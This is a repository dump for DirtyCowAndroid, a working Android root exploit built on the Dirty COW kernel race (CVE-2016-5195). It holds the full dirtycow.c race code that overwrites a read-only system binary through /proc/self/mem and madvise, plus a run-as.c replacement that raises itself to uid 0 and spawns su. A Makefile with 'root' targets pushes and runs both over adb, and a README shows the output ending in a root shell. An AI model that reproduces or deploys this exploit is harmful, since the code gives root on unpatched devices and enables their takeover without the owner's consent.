├── 2016-10-29-133323_1366x768_scrot.png ├── DirtyCow ├── Android.mk ├── Makefile ├── dirtycow.c └── run-as.c └── README.md /2016-10-29-133323_1366x768_scrot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yatt-ze/DirtyCowAndroid/de04511caacd72e4796d0b16d05df7d3de537810/2016-10-29-133323_1366x768_scrot.png -------------------------------------------------------------------------------- /DirtyCow/Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_SRC_FILES := \ 6 | dirtycow.c 7 | 8 | LOCAL_MODULE := dirtycow 9 | LOCAL_LDFLAGS += -llog 10 | LOCAL_CFLAGS += -DDEBUG 11 | LOCAL_CFLAGS += -fPIE 12 | LOCAL_LDFLAGS += -fPIE -pie 13 | 14 | include $(BUILD_EXECUTABLE) 15 | 16 | include $(CLEAR_VARS) 17 | 18 | LOCAL_SRC_FILES := \ 19 | run-as.c 20 | 21 | LOCAL_MODULE := run-as 22 | LOCAL_CFLAGS += -fPIE 23 | LOCAL_LDFLAGS += -fPIE -pie 24 | 25 | include $(BUILD_EXECUTABLE) 26 | -------------------------------------------------------------------------------- /DirtyCow/Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: build 3 | 4 | build: 5 | ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21 6 | 7 | push: build 8 | adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow 9 | adb push libs/armeabi/run-as /data/local/tmp/run-as 10 | 11 | push-arm7: build 12 | adb push libs/armeabi-v7a/dirtycow /data/local/tmp/dirtycow 13 | adb push libs/armeabi-v7a/run-as /data/local/tmp/run-as 14 | 15 | push-arm8: build 16 | adb push libs/arm64-v8a/dirtycow /data/local/tmp/dirtycow 17 | adb push libs/arm64-v8a/run-as /data/local/tmp/run-as 18 | 19 | run: 20 | adb shell 'chmod 777 /data/local/tmp/run-as' 21 | adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as' 22 | adb shell /system/bin/run-as 23 | 24 | root: push run 25 | root-arm7: push-arm7 run 26 | root-arm8: push-arm8 run 27 | 28 | clean: 29 | rm -rf libs 30 | rm -rf obj 31 | 32 | -------------------------------------------------------------------------------- /DirtyCow/dirtycow.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #ifdef DEBUG 16 | #include 17 | #define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); } 18 | #else 19 | #define LOGV(...) 20 | #endif 21 | 22 | #define LOOP 0x100000 23 | 24 | #ifndef PAGE_SIZE 25 | #define PAGE_SIZE 4096 26 | #endif 27 | 28 | struct mem_arg { 29 | unsigned char *offset; 30 | unsigned char *patch; 31 | unsigned char *unpatch; 32 | size_t patch_size; 33 | int do_patch; 34 | }; 35 | 36 | static void *madviseThread(void *arg) 37 | { 38 | struct mem_arg *mem_arg; 39 | size_t size; 40 | void *addr; 41 | int i, c = 0; 42 | 43 | mem_arg = (struct mem_arg *)arg; 44 | /*addr = (void *)((off_t)mem_arg->offset & (~(PAGE_SIZE - 1)));*/ 45 | /*size = mem_arg->offset - (unsigned long)addr;*/ 46 | /*size = mem_arg->patch_size + (mem_arg->offset - addr);*/ 47 | size = mem_arg->patch_size; 48 | addr = (void *)(mem_arg->offset); 49 | 50 | LOGV("[*] madvise = %p %d", addr, size); 51 | 52 | for(i = 0; i < LOOP; i++) { 53 | c += madvise(addr, size, MADV_DONTNEED); 54 | } 55 | 56 | LOGV("[*] madvise = %d %d", c, i); 57 | return 0; 58 | } 59 | 60 | static void *procselfmemThread(void *arg) 61 | { 62 | struct mem_arg *mem_arg; 63 | int fd, i, c = 0; 64 | unsigned char *p; 65 | 66 | mem_arg = (struct mem_arg *)arg; 67 | p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch; 68 | 69 | fd = open("/proc/self/mem", O_RDWR); 70 | if (fd == -1) 71 | LOGV("open(\"/proc/self/mem\""); 72 | 73 | for (i = 0; i < LOOP; i++) { 74 | lseek(fd, (off_t)mem_arg->offset, SEEK_SET); 75 | c += write(fd, p, mem_arg->patch_size); 76 | } 77 | 78 | LOGV("[*] /proc/self/mem %d %i", c, i); 79 | 80 | close(fd); 81 | 82 | return NULL; 83 | } 84 | 85 | static void exploit(struct mem_arg *mem_arg, int do_patch) 86 | { 87 | pthread_t pth1, pth2; 88 | 89 | LOGV("[*] exploit (%s)", do_patch ? "patch": "unpatch"); 90 | LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); 91 | 92 | mem_arg->do_patch = do_patch; 93 | 94 | pthread_create(&pth1, NULL, madviseThread, mem_arg); 95 | pthread_create(&pth2, NULL, procselfmemThread, mem_arg); 96 | 97 | pthread_join(pth1, NULL); 98 | pthread_join(pth2, NULL); 99 | 100 | LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset); 101 | } 102 | 103 | int main(int argc, char *argv[]) 104 | { 105 | if (argc < 2) { 106 | LOGV("usage %s /default.prop /data/local/tmp/default.prop", argv[0]); 107 | return 0; 108 | } 109 | 110 | struct mem_arg mem_arg; 111 | struct stat st; 112 | struct stat st2; 113 | 114 | int f=open(argv[1],O_RDONLY); 115 | if (f == -1) { 116 | LOGV("could not open %s", argv[1]); 117 | return 0; 118 | } 119 | if (fstat(f,&st) == -1) { 120 | LOGV("could not open %s", argv[1]); 121 | return 0; 122 | } 123 | 124 | int f2=open(argv[2],O_RDONLY); 125 | if (f2 == -1) { 126 | LOGV("could not open %s", argv[2]); 127 | return 0; 128 | } 129 | if (fstat(f2,&st2) == -1) { 130 | LOGV("could not open %s", argv[2]); 131 | return 0; 132 | } 133 | 134 | size_t size = st.st_size; 135 | if (st2.st_size != st.st_size) { 136 | LOGV("warning: new file size (%lld) and file old size (%lld) differ\n", st2.st_size, st.st_size); 137 | if (st2.st_size > size) { 138 | size = st2.st_size; 139 | } 140 | } 141 | 142 | LOGV("size %d\n\n",size); 143 | 144 | mem_arg.patch = malloc(size); 145 | if (mem_arg.patch == NULL) 146 | LOGV("malloc"); 147 | 148 | memset(mem_arg.patch, 0, size); 149 | 150 | mem_arg.unpatch = malloc(size); 151 | if (mem_arg.unpatch == NULL) 152 | LOGV("malloc"); 153 | 154 | read(f2, mem_arg.patch, st2.st_size); 155 | close(f2); 156 | 157 | /*read(f, mem_arg.unpatch, st.st_size);*/ 158 | 159 | mem_arg.patch_size = size; 160 | mem_arg.do_patch = 1; 161 | 162 | void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0); 163 | if (map == MAP_FAILED) { 164 | LOGV("mmap"); 165 | return 0; 166 | } 167 | 168 | LOGV("[*] mmap %p", map); 169 | 170 | mem_arg.offset = map; 171 | 172 | exploit(&mem_arg, 1); 173 | 174 | close(f); 175 | // to put back 176 | /*exploit(&mem_arg, 0);*/ 177 | 178 | return 0; 179 | } 180 | -------------------------------------------------------------------------------- /DirtyCow/run-as.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char **argv) 6 | { 7 | struct __user_cap_header_struct capheader; 8 | struct __user_cap_data_struct capdata[2]; 9 | 10 | printf("running as uid %d\n", getuid()); 11 | 12 | memset(&capheader, 0, sizeof(capheader)); 13 | memset(&capdata, 0, sizeof(capdata)); 14 | capheader.version = _LINUX_CAPABILITY_VERSION_3; 15 | capdata[CAP_TO_INDEX(CAP_SETUID)].effective |= CAP_TO_MASK(CAP_SETUID); 16 | capdata[CAP_TO_INDEX(CAP_SETGID)].effective |= CAP_TO_MASK(CAP_SETGID); 17 | capdata[CAP_TO_INDEX(CAP_SETUID)].permitted |= CAP_TO_MASK(CAP_SETUID); 18 | capdata[CAP_TO_INDEX(CAP_SETGID)].permitted |= CAP_TO_MASK(CAP_SETGID); 19 | if (capset(&capheader, &capdata[0]) < 0) { 20 | printf("Could not set capabilities: %s\n", strerror(errno)); 21 | } 22 | 23 | if(setresgid(0,0,0) || setresuid(0,0,0)) { 24 | printf("setresgid/setresuid failed\n"); 25 | } 26 | 27 | printf("uid %d\n", getuid()); 28 | printf("Entering Root Shell\n"); 29 | system("su"); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DirtyCowAndroid 2 | Repo For Working on Dirty Cow Based Android Root Method 3 | Currently Linux Only 4 | 5 | Should Spawn a root shell on device 6 | Usage sudo make root 7 | Output: 8 | ``` 9 | [*] mmap 0xb6f00000 10 | [*] exploit (patch) 11 | [*] currently 0xb6f00000=464c457f 12 | [*] madvise = 0xb6f00000 13708 13 | [*] madvise = 0 1048576 14 | [*] /proc/self/mem 0 1048576 15 | [*] exploited 0xb6f00000=464c457f 16 | adb shell /system/bin/run-as 17 | running as uid 2000 18 | uid 0 19 | root@ZTE-V811:/ # 20 | ``` 21 | ##Bugs / Problems 22 | 1) 23 | System Will Hang If You Exec a command on spawned shell Temp Fix: Exit Back to Terminal and type 24 | "adb shell" 25 | "run-as" 26 | Going "adb shell run-as" will produce the hang 27 | 2) 28 | Android 5 (Samsung Galaxy S4) 29 | setresgid/setresuid failed 30 | 31 | 3) 32 | Incompatible with devices with system partitions made read-only by the _hardware_, such as the DigiLand DL718M and other supercheap devices. 33 | 34 | Oringal PoC Code: https://github.com/timwr/CVE-2016-5195 35 | --------------------------------------------------------------------------------